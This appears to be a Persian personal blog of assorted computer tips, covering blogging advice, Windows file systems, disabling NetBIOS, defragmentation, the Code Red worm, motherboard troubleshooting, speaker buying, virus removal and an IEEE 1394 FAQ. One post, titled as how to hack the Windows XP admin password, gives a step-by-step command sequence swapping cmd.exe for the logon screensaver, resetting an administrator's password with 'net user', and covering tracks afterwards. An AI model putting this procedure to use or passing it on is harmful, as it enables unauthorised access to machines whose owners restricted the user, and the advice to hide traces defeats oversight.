اگر مي خواهيد اين احساس را در بازديدكنندگان ايجاد كنيد كه شما در يك علم يا رشته مسلط هستيد بايد هميشه در جريان اخبار در اين زمينه باشيد. اگر يك محصول را معرفي مي كنيد يا در زمينه اي مطلبي مي نويسيد آن را با حقايق بسنجيد قبل از آن كه آن را در اختيار بازديدكنندگان خود  قرار دهيد. چون هميشه اعتبار شما در خطر است. اگر صحبتي داريد و مي خواهيد آن را بيان كنيد آن را خلاصه كنيد و سعي كنيد محتواي ان همانند يك سرمقاله باشد.

خبر قديمي ديگر خبر نيست

در حاليكه مي توانيد روي وبلاگ خود هر روز مطالب جديد قرار دهيد بسيار مهم است كه مطالبي كه ارائه مي دهيد به روز و دقيق باشد و نوشتن يك مقاله در مورد اتفاقي كه شش ماه پيش رويداده است مورد علاقه بسياري نخواهد بود و باز هم اعتبار وبلاگ خود را به خطر انداخته ايد.

به يك رويه وفادار بمانيد

يك برنامه تهيه كنيد و از آن پيروي كنيد. متوجه باشيد كه وبلاگ نويسي احتياج به زمان و كوشش زياد دارد. از تهيه مطالبي كه از شما انتظار نمي رود خودداري كنيد. يك انحراف موقت از موضوع كلي يا صحبت كردن در مورد يك روز تعطيل قابل درك است. اما خوانندگان با توجه به مطالبي كه قبلاً در وبلاگ شما ديده اند بازگشته اند و طبيعي است كه به دنبال مطالب مشابهي مي گردند. و همانطور كه مي دانيد هر روز وبلاگهاي جديدي بوجود مي آيند. پس مراقب بازديدكنندگان خود باشيد تا آنها را از دست ندهيد.

غني از كلمات كليدي

اگر هدف از بوجود آوردن وبلاگ بدست آوردن تعداد زيادي بازديدكننده است بايد تيتر وبلاگ شما شامل كلمات كه با موضوع وبلاگ مرتبط است باشد. براي جذب بيشتر بازديدكننده يك تيتر درشت از موضوع سايت داشته باشيد. هر آيتم بايد تيتري داشته باشد كه محاطبان را جذب كند و در عين حال گول زننده هم نباشد. توجه داشته باشيد كه تيتر شما نبايد بيش از 10 تا 15 حرف داشته باشد.

سادگي و وضوح

وبلاگ خود را طوري طراحي كنيد كه فهم آن ساده باشد و مراجعين به سادگي مطلب مورد علاقه خود را پيدا كنند خيلي ساده مطلبي را كه مي تواند باعث افزايش ميزان بازديدكنندگان سايت شما شود از چشم آنها پنهان نگه داريد.بخاطر داشته باشد كه وب يك رسانه بين المللي است و بعضي از كلمات و اصطلاحات را نمي توان به سادگي ترجمه كرد. بعضي از مواقع كه كم هم اتفاق نمي افتد براي فهميدن تيتر يك مقاله بايد مدت   زيادي تلاش كرد.

تداوم

اگر محتويات وبلاگ شما به طور مداوم به روز شوند موتورهاي جستجو هم وبلاگ شما را در دوره هاي زماني كوتاهتري كند و كاو مي كنند.

تصحيح مطلب

فقط چند لحظه كوتاه لازم داريد تا از اشتباهي كه با دستپاچگي نوشته شده است جلوگيري كنيد. غلط هاي املايي را تصحيح كنيد تا در ذهن خوانندگان خود اثر منفي ايجاد نكنيد. به محتويات مطلب توجه كنيد چون هر چيزي كه شما در اينترنت قرار مي دهيد در اينترنت يافت مي شودپس قبل از قرار دادن هر مطلبي در مورد آن خوب فكر كنيد. كپي كردن مطلب از منابع اينترنتي كار قشنگي نيست و اثر مطلوبي در مخاطب ايجاد نمي كند. البته معرفي مقالات مفيد مرتبط با موضوع كيفيت كار را بالا مي برد. و شما به سادگي با قرار دادن يك لينك مي توانيد اين كار را انجام دهيد اين عمل علاوه بر اينكه كمكي به بازديدكنندگان است و اثر مثبتي در آنها مي گذارد باعث مي شود وبلاگ شما از طرف موتور هاي جستجو در رتبه بهتري قرار گيرد.

RSS

RSS وبلاگ شما را غني تر مي سازد. بسيار مهم است كه محتويات وبلاگ شما به صورت RSS تغذيه شود تا  توزيع و خوانندگي وبلاگ افزايش يابد

ممكن است هنگام نصب ويندوز به مشكل انتخاب بين FAT و FAT32 و NTFS دچار ترديد شده باشيد. براي  اينكه بدانيد سيستم عاملي كه استفاده مي كنيد با چه نوع فايلهاي سيستمي قابل راه اندازي است از جدول زير كمك بگيريد.

 

سيستم عامل

فايلهاي سيستمي كه پشتيباني مي شود

MS-DOS

FAT

Windows 3.1

FAT

Windows 95

FAT

Windows 95 OSR2

FAT, FAT32

Windows 98

FAT, FAT32

Windows 2000

FAT32, NTFS

Windows XP

يك مشكل امنيتي معمول در ويندوز

متأسفانه بسياري از كاربران ويندوز از يك شكاف امنيتي موجود در تنظيمات شبكه كامپيوتر بي اطلاع هستند.

تنظيمات معمول شبكه در ويندوز به شرح زير است:

Client for Microsoft Networks

file and printer sharing for Microsoft Networks

NET BEUI Protocol

Internet Protocol TCP/IP

اگر در تنظيمات ويندوز شما NetBIOS مجاز باشد يك مشكل امنيتي در TCP/IP داريد.

  • ممكن است فايلهاي شما در كل اينترنت به اشتراك گذاشته شوند بدون انكه شما مايل به اين عمل باشيد.

  • Work Group-name , Computer name , Logn- name براي ديگران قابل مشاهده است.

  • فايلهاي شما مي‌توانند در كل اينترنت به اشتراك گذاشته شود.

كامپيوترهايي كه به هيچ شبكه‌اي متصل نشده‌اند هم مي‌توانند در معرض خطر باشند زمانيكه براي اولين بار به اينترنت متصل مي‌شويد تنظيمات شبكه شما تغيير مي‌كند.

حل مشكل:

براي كاربران ويندوز200:

با disable كردن NetBIOS در TCP/IP مي توانيد مشكل را حل كنيد:

  • ويندوز اكسپيلورر را باز كنيد.

  • روي My Network places راست كليك كنيد.

  • properties را انتخاب كنيد.

  • روي Locol Are a Network راست كليك كنيد.

  • properties را انتخاب كنيد.

  • Internet protocol TCP/IP را انتخاب كنيد.

  • روي properties كليك كنيد.

  • روي Advanced كليك كنيد.

  • وارد قسمت WINS شويد.

  • Disable NetBIOS over TCP/IP را انتخاب كنيد و OK را كليك كنيد.

اگر براي شما پيغامي به صورت "...This connection has an empty" ظاهر شد آن را ناديده بگيريد و روي YES كليك كنيد و سپس OK را بزنيد تا بقيه پنجره ها را ببنديد.

بعد از انجام اين كارها بايد كامپيوتر خود را restart كنيد.

براي كاربران ويندوز 98 و 95 و me:

مي توانيد مشكل خود را با disable كردن NetBIOS over TCP/IP

  • ويندوز اكسپلورر را باز كنيد.

  • روي My Network places راست كليك كنيد.

  • properties را انتخاب كنيد.

  • Internet protocol TCP/IP را انتخاب كنيد.

  • روي properties كليك كنيد.

  • وارد قسمت NetBIOS شويد.

  • علامت تيك NetBIOS over TCP/IP را برداريد. روي OK كليك كنيد.

در اين ويندوزها بايد TCP/IP Binding  را براي File and printer sharing غير فعال كنيد.

  • ويندوز اكسپيلورر را باز كنيد.

  • روي My Network places راست كليك كنيد.

  • properties را انتخاب كنيد.

  • Internet protocol TCP/IP را انتخاب كنيد.

  • روي properties كليك كنيد.

  • وارد قسمت Bindings شويد.

  • علامت تيك Clinet for Microsoft Network را برداريد. علامت تيك File and printer sharing را برداريد.

  • روي OK كليك كنيد.

اگر پيغامي مانند: "...You must select a driver" را دريافت كرديد. روي YES كليك كنيد. و روي OK كليك كنيد تا پنجره هاي ديگر را ببنديد.

اگر هنوز مي خواهيد فايلها و پرينتر شما در شبكه فعال باشد، بايد از پروتكل NetBEUI به جاي TCP/IP استفاده كنيد. مطمئن باشيد كه آن را براي شبكه محلي خود فعال كرده ايد.

مراحل به شرح زير است:

  • ويندوز اكسپيلورر را باز كنيد.

  • روي My Network places راست كليك كنيد.

  • properties را انتخاب كنيد.

  • NetBEUI را انتخاب كنيد.

  • روي properties كليك كنيد.

  • وارد قسمت Bindings شويد.

  • براي Clinet for Microsoft NetworkS علامت تيك بگذاريد.

  • براي File and printer sharing علامت تيك بگذاريد و روي OK كليك كنيد.

اكنون بايد كامپيوتر خود را ري استارت كنيد (restart) كنيد. تا تغييرات در سيستم شما اعمال شوند.

دسترسي به اينترنت يك ريسك امنيتي است.

زماني كه به اينترنت دسترسي داريد. از يك آدرس IP مانند 83.150.61.130 براي شناسايي شما استفاده مي شود. اگر كامپيوتر خود را محافظت نكنيد اين آدرس IP مي تواند  براي دست يابي به كامپيوتر شما از دنياي اينترنت استفاده شود.

يك آدرس IP ثابت داراي يك خطر امنيتي بالا است.

اگر شما از يك مودم به صورت dial-up به اينترنت متصل مي شويد هر بار كه به اينترنت متصل مي شويد يك آدرس IP خواهيد داشت. اما اگر يك آدرس IP ثابت داشته باشيد (مانند ADSL) آدرس IP شما هرگز تغيير نمي كند. و در اين حالت اطلاعات خصوصي و محرمانه شما هميشه در خطر لو رفتن قرار دارد. و هميشه بايد ورودي هاي كامپيوتر خود را چك كنيد.

Disk Fragmentation چيست؟

وقتي فايلي را در ويندوز ذخيره مي كنيد ويندوز سعي مي كند اين فايل را در اولين محل خالي كه پيدا مي كند ذخيره كند. يعني وقتي يك فايل را در ويندوز پاك مي كنيد يا اصطلاحاً آن را Delete مي كنيد يك جاي خالي در بين فايلهاي ديگر باقي مي ماند حال فرض كنيد يك برنامه حجيم را بخواهيد نصب كنيد. در اين حالت ابتدا  فضا هاي خالي را كه در نتيجه پاك شدن فايلهاي ديگر بوجود آمده است پر مي شود. بنابراين برنامه اي كه نصب كرده ايد در چندين فسمت متفاوت از هارد ديسك ذخيره شده است اكنون خود حدس بزنيد كه سيستم شما براي اجراي برنامه چه مكافاتي بايد تحمل كند اين وضعيت مي تواند تا 200 درصد سيستم شما را كند نمايد.

 

حل مشكل

ويندوز براي حل اين مشكل يك نرم افزار به نام Disk defragmenter  دارد كه در هر ويندوزي قابل دسترسي است. مايكروسافت توصيه كرده است كه هر چند وقت يكبار از اين برنامه براي مرتب كردن هارد ديسك خود استفاده كنيد ولي اين عمل بار زيادي را به هارد ديسك وارد مي كند و براي طول عمر بيشتر هارد ديسك بهتر است در اين كار زياده روي نكنيد. اگر ويندوز را تازه نصب كرده ايد و از اشخاصي نيستيد كه مرتباً برنامه هاي مختلف را نصب مي كنند و سپس آن را پاك مي كنند پايد تا دو ماه يا حتي بيشتر احتياج به اين عمل حداقل براي پارتيشني كه ويندوز در آن نصب شده است نداريد. البته كند شدن ويندوز اگر از ويروسها يا حتي آنتي ويروس يا مشكلات رجيستري نباشد بهترين راهنما براي شماست.

آيا نرم افزار ديگري هم وجود دارد؟

البته برنامه هاي ديگري وجود دارند كه سريعتر اين كار را انجام مي دهند ولي معمولاً مجاني نيستند و بايد آنرا خريداري كنيد يكي از اين برنامه ها Norton Speed Disk است كه قسمتي از برنامه Norton System Work است و آنرا از سايت Symantec  ميتوانيد دانلود كنيد. يك برنامه ديگر Disk Keeper است كه توسط كمپاني Executer Software عرضه شده است. هر دوي اين برنامه ها سريعتر از برنامه استاندارد ويندوز عمل مي كنند كه Disk Keeper سريعترين است

Disk Keeper سريعترين است

آشنايي با Code Red

 

كرم هاي اينترنتي زمان كامپيوتر را تلف مي كنند يا به عبارت ديگر آن را كند مي كنند و همچنين در شبكه يا در اينترنت پهناي باند را اشغال مي كنند. آنها تكثير مي شوند و اغلب اوقات نقش يك شيطان اينترنتي را بازي مي كنند كرمي كه Code Red نام دارد در سال 2001 صدر اخبار اينترنتي را به خود اختصاص داده بود. متخصصين پيش بيني كرده بودند كه اين كرم مي تواند اينترنت را تا حد از كار افتادن كند سازد.

Code Red زمانيكه خود را تكثير مي كند سرعت اينترنت را كاهش مي دهد. اما اين كرم اينترنتي انگونه كه پيش بيني مي شد نتوانست اينترنت را متوقف سازد. هر كپي از اين كرم در اينترنت بدنبال ويندوز سرور NT يا 2000 اي مي گردد كه در آن وصله هاي امنيتي مايكروسافت نصب نشده باشد. هر بار كه يك سرور اينترنتي حفاظت نشده پيدا كند خود را در آن سرور كپي مي كند. و كپي جديد بدنبال سرور ديگري با اين شرايط مي گردد تا آن را آلوده كند بسته به تعداد سرور هاي غير ايمن Code Red مي تواند در اينترنت صدها يا هزارها كپي از خود تهيه كند.

ويروس Code Red طوري طراحي شده است كه سه كار انجام دهد.

  • خود را براي بيست روز اول هر ماه تكثير مي كند.

  • صفحات وبي را كه در سرور هاي آلوده هستند را با صفحاتي كه در آن نوشته شده است "Hacked by Chinese"جايگزين مي كند.

  • سپس شروع به  تدارك يك حمله عليه وب سايت كاخ سفيد مي كند تا آنرا از كار بيندازد

معمول ترين ورژن Cod Red يك نوع توسعه يافته از Ida Code Red است كه خود را در 19 ژولاي سال 2001 ميلادي تكثير كرد.

بعد ازيك آلوده ساختن موفقيت آميز كرم منتظر يك ساعت مشخص مي ماند و به دومين مورد نظر سرور كاخ سفيد متصل مي شود اين حمله به اين صورت است كه سيستم هاي آلوده به طور همزمان 100 ارتباط با پورت 80  سايت http://www.whitehouse.gov/  ( با   IP:198.137.240.91 ) بر قرار مي كند.

دولت امريكا آدرس IP وب سايت http://www.whitehouse.org/ را تغيير داده است تا اين حملات را خنثي كند و يك هشدار عمومي در مورد اين كرم منتشر كرده است تا سرورهاي وبي را كه از ويندوز 2000 و NT  استفاده مي كنند از وجود و نحوه مبارزه با آن آگاه كند.

 ويروسهاي بوت سكتور
- ابتدا بايد در ويندوز خود پنجره Registry Editor را باز كنبد. براي اين منظور مسير Start\Run  را طي كنيدسپس در پنجره Run دستور Regedit را تايپ كرده و روي Ok كليك كنيد.

2- در پنجره Registry Editor فولدر زير را باز كنيد.

HKEY_LOCAL_MACHINE

Software

Microsoft

Command Processor

3- در Command Processor كليد هاي زير را باز كنيد و براي آنها Value را به 9 تغيير دهيد.

CompletionChar

PathCompleteChar

4- بعد از انجام مراحل بالا پنجره Registry Editor را ببنديد و Command Window را با تايپ كردن cmd در پنجره Run ( مسير Start\Run ) باز كنيد. براي استفاده از Auto complete كليد Tab  را بايد بفشاريد. براي مثال اگر  در دايركتوري Program Files باشيد مي توانيد تايپ كنيد "cd pr" و كليد Tab را بفشاريد تا به طور اتوماتيك cd program files برايتان تايپ شود.

چگونه رمز عبور admin را در ويندوز xp هك كنيم

اگر با كامپيوتري كار مي كند كه روي آن ويندوز xp نصب شده است و دسترسي شما بوسيله كاربر اصلي محدود شده است. آنگاه dos prompt را باز كنيد سپس اين دستورات را وارد نمائيد.

اين دستور شما را به شاخه اصلي مي برد.                                                                               /cd

اين دستور شما را به شاخه system 32 راهنمايي مي كند.                             cd/windows/system 32                                                                                                                                             فولدر temphack را براي شما ايجاد مي كند.                                                         mkdir temphack  

يك فايل Back up (پشتيبان) از فايل logon.scr ايجاد مي كند.          copy logon.scr temphack/ logon.scr

يك فايل پشتيبان از cmd.exe ايجاد مي كند.                                  copy cmd.exe temphack/ cmd.exe

فايل اصلي logon.scr را پاك مي كند.                                                                       del logon.scr   

فايل cmd.exe رابه logon.scr تغيير نام مي دهد.                                        rename cmd.exe logon.scr

از commond prompt خارج مي شويد.                                                                                   exit  

كاري كه شما انجام داده ايد از اين قرار است كه يك فايل پشتيبان از برنامه commond و screen saver تهيه كرده سپس كاري كرده ايد كه زمانيكه ويندوز screen saver را فراخواني مي كند يك پنجره حفاظت نشده dos prompt در برابر شما ظاهر مي شود.

به محض ظاهر شدن اين پنجره دستور داخل گيومه را وارد كنيد.

net user<نام Admin را اينجا قرار دهيد>password

مثلاً اگر نام Admin كلمه Ali باشد و شما blah password را مي خواهيد كافيست تايپ كنيد.

net user Ali blah

اين عمل رمز عبور را به blah تغيير مي دهد.

نكته: به خاطر داشته باشيد كه محتويات temphack را دوباره به شاخه system 32 برگردانيد تا نفوذ شما لو نرود.

راه ديگري هم براي اين عمل وجود دارد و آن استفاده از ديسكت راه انداز است. كه مي توانيد آن را از مسير زير دنلود كنيد. اين روش مخصوصاً زمانيكه رمز عبور خود را فراموش كرده ايد بسيار مفيد خواهد بود.

 

http://home.eunet.no/~pnordahl/ntpasswd/

                                                                                                                 رفع عيب از مادر برد

در بيشتر موارد مادر برد براي مشكلاتي كه ناشي از قطعات ديگر است مقصر شناخته مي شود.معمولاً مشكلات مربوط به مادر برد كمتر پيش مي آيد ( البته اين براي بازار فعلي ايران خيلي صدق نمي كند) بنابراين بايد مشكل اصلي را پيدا كرد.

در اينجا ليستي از آزمايشهايي است كه از مادر برد رفع اتهام مي كند.

آيا حداقل چيزهاي كه براي بوت شدن كامپيوتر لازم است وجود دارند؟ حداقل اجزاء براي بوت شدن عبارتند از: يك مادر برد، پروسسور، مقدار كافي حافظه (RAM)، يك كارت گرافيك و درايو براي بوت شدن اگر يكي از اين اجزا موجود نباشد سيستم شما كار نخواهد كرد. آيا همه اين اجزاء به درستي متصل شده اند؟

در موقع بروز اشكال ابتدا سعي كنيد قطعات را يك به يك جايگزين كنيد تا به قطعه مشكل دار برسيد آيا جامپرها به درستي قرار گرفته اند؟ شما بايد جامپرها را براي نوع، سرعت، ولتاژ و سرعت باس CPU و ديگر مشخصات آن در جاي خود قرار دهيد هر چند تعداد زيادي از مادربردهاي امروزي به طور اتوماتيك اين كار را انجام مي دهند. هميشه دستور العمل (دفترچه همراه) مادربرد را بخوانيد و در نظر داشته باشيد اگر تغييراتي در BIOS سيستم انجام داده ايد آن را به حالت DEFAULT برگردانيد. آيا وضع ظاهري مادر برد مشكلي ندارد؟ هيچگونه شكستگي يا پينهاي خم شده وجد ندارد؟  آيا منبع تغذيه مشكل ندارد؟ اگر شما قطعه اي را ارتقا داده ايد يا قطعه اي را به سيستم اضافه كرده ايد ممكن است توان منبع تغذيه براي شما براي تأمين توان مورد نياز قطعه جديد كافي نباشد. توان معمول براي كامپيوتر معمولي 250 الي 300 وات مي باشد.

عيب يابي اجزاي ديگر كامپيوتر:

در اينترنت جستجو كنيد و ببينيد آيا مادربردهاي از خانواده مادربرد شما مشكل خاصي ندارد؟ وب سايت كارخانه سازنده را چك كنيد و ببينيد آيا هيچ تغييرات و UPDATE اي براي مادر برد شما در نظر گرفته شده است؟

مشكلات صفحه كليد

اگر پيغام خطايي ناشي از پيدا نشدن صفحه كليد دريافت كرديد ابتدا مطمئن شويد صفحه كليد به خوبي متصل شده است

چيپهاي كنترلر كي برد را امتحان كنيد اگر به نظر مي رسيد كه آنها صدمه ديده اند ممكن است احتياج به تعويض چيپها يا كل مادربرد داشته باشيد.

مشكلات CMOS

در شرايط به خصوص ممكن است لازم باشد كه CMOS را پاك كنيد بعضي مواقع كه شما براي بوت شدن سيستم كلمه عبور ( password) تعيين كرده ايد و آنها را فراموش كرده ايد يا بعضي مواقع BIOS را به گونه اي تنظيم كرده ايد كه مشكلاتي براي سيستم بوجود آورده و نمي توانيد آن را درست كنيد اين راه مفيد است. در بعضي مادربردها پاك كردن حافظه CMOS مادربرد باعث دردسر است زيرا تنظيم دوباره آن مشكل است و شايد به ياد آوردن كلمه عبور راحتتر باشد ولي در مادربردهاي امروزي معمولاً اين مشكل كمتر است چند راه براي پاك كردن حافظه CMOS وجود دارد بعضي از مادربردها جامپرهايي براي پاك كردن CMOS دارند كه احتمالاً  در دستور العمل استفاده از مادر برد به آن اشاره شده است جامپر را يك لحظه برداشته و دوباره سر جايش بگذاريد و CMOS پاك مي شود. در زمان انجام اين كار مطمئن شويد كه سيستم شما از تغذيه برق جدا شده است و بنابراين هيچ ولتاژي روي مادربرد نيست.

راه طولاني تر اين است كه باطري سيستم را از محل خود خارج كنيد اين عمل بايد دو روزي طول بكشد راه غير ايمن و سريعتر اين است كه بعد از برداشتن باتري مثبت و منفي جايگاه باتري را بوسيله يك سيم به يكديگر متصل كنيد. سپس دوباره آن را در جاي خود قرار دهييد اگر باطري مادربرد شما  قابل برداشتن نيست بايد با نمايندگيهاي مادربردتان تماس بگيريد.

زمان و تاريخ در سيستم به درستي نمايش داده نمي شود تنظيمات به هم ريخته يا خطاي Dead Battery دريافت مي كنيد رفع اين اشكال ساده است عمر باطري تمام شده است و بايد آن را عوض كنيد.

من نمي توانم وارد setup كامپيوتر شوم:

هر كامپيوتري كليدهاي بخصوصي براي وارد شدن به setup را دارد و اين به سازنده BIOS و نسخه آن بستگي دارد. اما بلافاصله بعد از روشن كردن كامپيوتر كليدهايي كه براي وارد شدن به SETUP لازم است را مي توانيد ببينيد. در بيشتر مواقع اين اطلاعات در پايين صفحه مانيتورتان قابل نمايش است و معمولاً‌به اين صورت نمايش داده مي شود:

press "--------" to enter setup يا

"------" is the key to hit

من تغييراتي در تنظيمات CMOS داده ام ولي اين تغييرات اعمال نمي شود

در زمان خروج از CMOS setup مطمئن شويد كه گزينه "save and exit" را انتخاب كرده و كليد enter را فشار دهيد در صورتي كه شما گزينه "exit without saving" را انتخاب كرده باشيد با اين مشكل مواجه مي شويد.

مادربرد شكسته است؟

اگر مادر برد خميده شده است آن را به حالت اول برگردانيد. ولي اگر مادربرد واقعاً شكسته است كاري نمي توانيد بكنيد و بايد يك مادربرد جديد بخريد

نكاتي براي خريد اسپيكر

قدرت نامي (Power rating)

در اكثر سيستمهاي امروزي قدرت نامي به وات بيان مي شود. كه مقدار آن با واحد

« (Peak music power out put (PMPO » يا ماكزيمم قدرت خروجي صدا بيان مي شود كه اين واحد يك واحد فريبنده است و اطلاعات خاصي به شما نمي دهد. كمپاني هاي سازنده فقط بدنبال فروش محصول خود هستند. و از اين واحد براي بزرگنمايي محصول خود استفاده مي كند. اما در هنگام خريد اسپيكر بايد  قدرت RMS اسپيكر را به عنوان يك ميزان فني درست، براي بيان قدرت مداوم اسپيكر در نظر بگيريد. براي سيستم هاي اسپيكر با صداي فراگير، يك قدرت RMS به ميزان حداقل 40 وات براي اسپيكر كامپيوتر مناسب است. پاسخ فركانسي(frequency response) اگر اسپيكر سيستم شما داراي رنج (گستره) فركانسي باشد كه در فركانسهاي بالايي محدود باشد، (مثلاً نتواند در فركانسهاي بالاي 16 كيلو هرتز عمل كند)  شما هيچ صداي زيري(صداي فركانس بالا) كه فركانس آن بالاي 16 كيلو هرتز باشد را نمي شنويد. بخصوص اگر موزيك كلاسيك گوش دهيد. به طور مشابه اگر اسپيكر شما نتواند در فركانسهاي زير 50 هرتز عمل كند، صداي كاملاً بم را نمي تواند بخوبي آشكار كند مثل صداهايي مانند طبلها و صداهاي انفجار در فيلمها.

پايه ها

اگر شما از يك اسپيكر 2/1 استفاده مي كنيد كه عموماً براي گوش دادن موسيقي استفاده مي شود احتياجي به پايه اسپيكر نخواهيد داشت، چون احتمال زياد، آنها را روي ميز كامپيوتر خود قرار مي دهيد. اما اگر  يك اسپيكر 4/1 يا 5/1 استفاده كنيد، بايد از قرار گرفتن اسپيكرها در جاي مناسب و تعداد كافي پايه اطمينان حاصل كنيد. اين موضوع، زماني مفيد واقع مي شود كه بخواهيد اسپيكرها را پشت سرتان روي يك ديوار يا حتي روي پايه اي، همسطح گوشهايتان براي شبيه سازي صداي فراگير با كيفيت مناسب قرار دهيد.

كنترل ها

اسپيكرها با يك كنترل صداي مركزي به شما اين امكان را مي دهد كه صداي اسپيكرها را بدون زحمت جابجا شدن از يك مكان تغيير دهيد مثلاً همه كنترل هاي صدا روي sub woofer قرار داشته باشند كه معمولاً اين گونه است.

ورودي صدا

اگر شما يك اسپيكر استريو 2/1 داريد، تنها چيزي كه احتياج داريد كانالهاي چپ و راست آنالوگ است. اما براي اسپيكرهاي با سيستم صداي فراگير چهار نقطه اي بايد به دنبال چهار كانال جداگانه ورودي صدا براي سيستم اسپيكر خود باشيد.

چگونه ویروس را از کامپیوتر خود پاک کنیم ؟!

1- مرورگر اینترنت اکسپلورر را ببندید. از یاهو مسنجر خارج شوید. اتصال اینترنت را قطع کنید.

2- جهت فعال کردن Reg Edit دکمه های Start > Run را کلیک کنید و در کادر مربوطه عیناً عبارت زیر را وارد کنید. و در نهایت کلید Enetr را کلیک کنید.

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f

3- جهت فعال کردن Task Manager دکمه های Start > Run را کلیک کنید و در کادر مربوطه عیناً عبارت زیر را وارد کنید. و در نهایت کلید Enetr را کلیک کنید.

REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f

4- اکنون نیاز به آن داریم که صفحه نخست مرورگر خود را به حالت قبل برگردانیم. دکمه های Start > Run را کلیک کنید و در کادر مربوطه عبارت Regedit را وارد کنید. و در نهایت کلید Enetr را کلیک کنید. میسر های زیر را با دقت پیدا نموده و در آنها وارد شوید اکنون تمام لینک هایی را که به سایت ویروس یعنی ( nsl-school.org) وجود دارند تغییر داده و بجای آنها سایت مورد نظر خود مثلاً گوگل (google.com) را وارد کنید.

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Main

HKEY_ LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main

HKEY_USERS\Default\Software\Microsoft\Internet Explorer\Main

5- اکنون نیاز به آن داریم که فعالیت ویروس را متوقف کنیم. دکمه های Ctrl + Alt + Del را فشار دهید. در لیست برنامه های فعال تمامی فایل های svhost32.exe را یافته و آنها را End Task نمایید.

6- از طریق جستجو و یا وارد شدن به پوشه های Windows و temp فایل های svhost32.exe و svhost.exe را یافته و حذف نمایید.

7- مجددآ به قسمت Start menu > Run > Regedit باز گردید. از طریق جستجو به دنبال عبارت svhost بگردید و تمام موارد یافت شده را حذف نمایید.

8- کامپیوتر خود را ریست نمایید. امیدواریم دیگر خبری از این ویروس نباشد.

+ نوشته شده در  چهارشنبه یکم اسفند 1386ساعت 19:24  توسط حامد  | 

 

فالنامه
براي ديدن فال خود ابتدا نيت کنيد سپس بر روي يکي از دايره هاي موجود کليک کنيدتا فال خود را مشاهده کنيد












دریافت کد فالنامه
+ نوشته شده در  چهارشنبه یکم اسفند 1386ساعت 14:16  توسط حامد  | 

 

 

 

 


 

شايد آن روز كه سهراب نوشت:

 

تا شقايق هست زندگي بايد كرد؛

 


 

خبري از دل پردرد گل ياس نداشت.

 


 

بايد اين جور نوشت:

 

هر گلي هم باشي ،چه شقايق چه گل پيچك و ياس؛

 


 

زندگي اجبار است.

                                                   

                 

 

 

 

 

چند سوال در مورد پورت IEEE 1394  (سخت افزار)

 1. IEEE 1394 چیست؟


 IEEE1394 با نامهای دیگری نیز از قبیل Apple FireWire و Sony I-LINK شناخته میشود . این اسامی یک درگاه دیجیتال ارزان قیمت, انعطاف پذیر و با استفاده آسان است که میتواند بسیاری از مشکلات مصرف کنندگان را برای اتصال ابزارهای جانبی با سرعت بالا به PC و به یکدیگر را حل نماید.

 

 این گذرگاه برای اولین بار توسط شرکت Apple معرفی شد و سپس توسط گروه کاری 1394 در داخل موسسه مهندسان برق و الکترونیکInstitute of Electrical and Electronics Engineers (IEEE) توسعه داده شده و استاندارد گردید. استاندارد IEEE 1394 کلیه مشخصات مورد نیاز برای این گذرگاه را تعریف مینماید. این گذرگاه به خاطر استفاده مستقیم از داده های دیجیتال که نیاز به تبدیل داده ها را از میان برمیدارد توانایی انتقال سیگنالها با کیفیتی بسیار بهتر را دارا میباشد. بعلاوه این گذرگاه با استفاده از یک کابل سریال نازک و کوچک بسیاری از مشکلات به وجود آمده توسط گذرگاههای موازی عریض با کابلهای پهن و بزرگ را حل مینماید.

 

 همچنین این گذرگاه با نصب کاملا" خودکار کلیه پیچیدگیهای نصب نرم افزاری به صورت دستی را حذف نموده است. با پشتیبانی از عملکرد Hot-Plug توانایی نصب نمودن و برداشتن ابزارها را در زمان کار سیستم بدون نیاز به Reboot ارائه می نماید. IEEE1394 گذرگاهی بینهایت انعطاف پذیر و قابل تنظیم است و میتواند در سرعتهای 100,200,400Mbps به وسیله یک کابل پیوسته بسته به نوع نیاز عمل نماید. با استفاده از این گذرگاه میتوان ابزارها را به صورت ستاره ای به همراه یک هاب مرکزی و یا به صورت حلقوی و بدون نیاز به هاب مرکزی به یکدیگر متصل نمود. همچنین به وسیله IEEE 1394 میتوان ابزارها را بدون نیاز به اتصال به یک PC به یکدیگر نیز متصل کرد و اتصالاتPeer-To-Peer به وجود آورد.

 

 این گذرگاه با استفاده از تکنیکهایی زمانهای بحرانی به وجود آمده در انتقال اطلاعات جریانی مخصوصا" کاربردهای صدا و ویدیو را از میان برداشته و به این صورت از هزینه میکاهد.

 



 2. IEEE1394 توانایی انجام چه کارهایی را دارا میباشد؟

 

IEEE 1394 در ابتدا تنها یک درگاه برای اتصال کامپیوتر به دوربینهای فیلم برداری دیجیتال برای کاربردهای ویدیویی بود. IEEE1394 همچنین به عنوان یک استاندارد درگاه دیجیتال به وسیلهDigital VCR Conference (DVC) و Digital Video Broadcasters(DVB) در اروپا به عنوان درگاه تلویزیون دیجیتال مورد تایید قرار گرفته بود. VESA))Video Experts Standards Association نیز این گذرگاه را به عنوان گذرگاه شبکه های خانگی پذیرفته است. اما این تنها آغاز کار است.

 

 تعداد زیادی از تولیدات غیر ویدیویی قبلا" استفاده از IEEE 1394 را در آغاز نموده اند. از جمله این ابزارها میتوان به دوربینهای عکاسی دیجیتال, چاپگرها و اسکنرهای با سرعت و دقت بالا, هاب های شبکه و ابزارهای جانبی ذخیره سازی اطلاعات اشاره نمود.

 


 

  3. کابل و اتصال دهنده های IEEE 1394 چگونه است؟

 

